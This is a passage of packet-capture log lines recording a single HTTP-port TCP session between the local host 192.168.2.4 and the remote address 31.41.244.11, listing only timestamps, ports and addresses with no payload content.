Dec 12, 2024 14:26:39.082662106 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.082674026 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.082760096 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.082997084 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.083009958 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.083112001 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.084173918 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.084187984 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.084204912 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.084238052 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.084309101 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.084333897 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.085331917 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.085342884 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.085355043 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.085433006 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.085433006 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.086090088 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.086102962 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.086116076 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.086172104 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.086172104 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.086672068 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.086699009 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.086713076 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.086771965 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.086771965 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.087353945 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.087366104 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.087378979 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.087430954 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.087430954 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.087965965 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.087977886 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.087994099 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.088032007 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.088082075 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.088473082 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.088494062 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.088507891 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.088520050 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.088563919 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.088563919 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.089097023 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.089139938 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.089138985 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.089153051 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.089293003 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.089843988 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.089865923 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.089879036 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.089940071 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.089940071 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.090720892 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.090734005 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.090748072 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.090810061 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.090811014 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.091365099 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.091388941 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.091401100 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.091583967 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.092206955 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.092220068 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.092235088 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.092272043 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.092327118 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.092962027 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.092976093 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.092988014 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.093045950 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.093072891 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.093636990 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.093650103 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.093662024 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.093713999 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.093728065 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.094225883 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.094249010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.094259977 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.094279051 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.094316006 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.094789028 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.094835043 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.094846964 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.094871998 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.094871998 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.094912052 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.095489979 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.095501900 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.095515966 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.095746040 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.095990896 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.096025944 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.096036911 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.096076012 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.096112967 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.096694946 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.096738100 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.096750975 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.096790075 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.096834898 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.097630024 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.098025084 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.098037958 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.098098993 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.098114967 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.098114967 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.098690987 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.098763943 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.098776102 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.098778963 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.098809958 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.098860025 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.099841118 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.099868059 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.099880934 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.099917889 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.099962950 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.100629091 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.100641966 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.100656033 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.100747108 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.101607084 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.101619005 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.101630926 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.101672888 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.101672888 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.102164984 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.102251053 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.102263927 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.102359056 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.103127956 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.103151083 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.103164911 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.103168964 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.103204012 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.103925943 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.103938103 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.103950977 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.104070902 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.104521036 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.104532957 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.104547024 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.104574919 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.104614019 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.105189085 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.105276108 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.105288982 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.105487108 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.106054068 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.106067896 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.106085062 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.106132030 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.106132030 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.106762886 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.106775999 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.106787920 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.106895924 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.106895924 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.107645988 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.107659101 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.107707977 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.107765913 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.108500957 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.108514071 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.108530045 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.108575106 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.108575106 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.110537052 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.111152887 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.277324915 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.277338028 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.277349949 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.277554989 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.277574062 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.277638912 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.277657986 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.277669907 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.277710915 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.278403997 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.278424025 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.278434038 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.278465986 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.278506994 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.279048920 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.279059887 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.279071093 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.279119968 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.279119968 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.279855013 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.279865026 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.279880047 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.279918909 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.280108929 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.280474901 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.280564070 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.280574083 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.280692101 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.281116009 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.281177044 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.281183004 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.281197071 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.281239033 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.281239033 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.281786919 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.281835079 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.281847000 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.282227039 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.282722950 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.282735109 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.282746077 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.282798052 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.282798052 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.283726931 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.283737898 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.283751965 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.283804893 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.283852100 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.284549952 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.284560919 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.284571886 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.284887075 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.285408974 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.285419941 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.285433054 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.285453081 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.285651922 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.286511898 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.286523104 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.286534071 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.286566019 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.286581993 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.287600040 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.287708044 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.287739038 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.287751913 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.287940979 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.288512945 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.288582087 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.288670063 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.288681984 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.288748980 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.288748980 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.289446115 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.289457083 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.289468050 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.289527893 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.289527893 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.534904003 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.534921885 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.534934998 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.534950972 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.534957886 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.534964085 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.534976006 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.534981966 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.534990072 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.535119057 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.537257910 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.537273884 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.537286043 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.537297010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.537308931 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.537338018 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.537349939 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.537360907 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.537372112 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.537383080 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.537395000 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.537396908 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.537396908 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.537406921 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.537425041 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.537439108 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.537455082 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.541835070 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.541901112 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.541913033 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.541924000 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.541935921 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.541949034 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.541960001 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.541970968 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.541984081 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.541991949 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.541995049 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542022943 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542031050 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.542032003 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542035103 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542037010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542040110 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542046070 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542047024 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.542047977 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542052031 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542058945 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542064905 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542077065 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542078018 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.542088985 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542099953 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542123079 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542135000 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542146921 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542157888 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542160034 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.542160034 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.542170048 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542195082 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542196035 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.542196035 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.542207003 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542217970 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542223930 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.542241096 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542253971 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542265892 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542277098 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542280912 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.542280912 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.542289019 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542303085 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542311907 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.542316914 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542326927 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.542351961 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.542361975 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.542398930 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.613286972 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613300085 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613312006 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613325119 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613337040 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613348007 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613363028 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613374949 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613385916 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.613399029 CET	80	49837	31.41.244.11	192.168.2.4
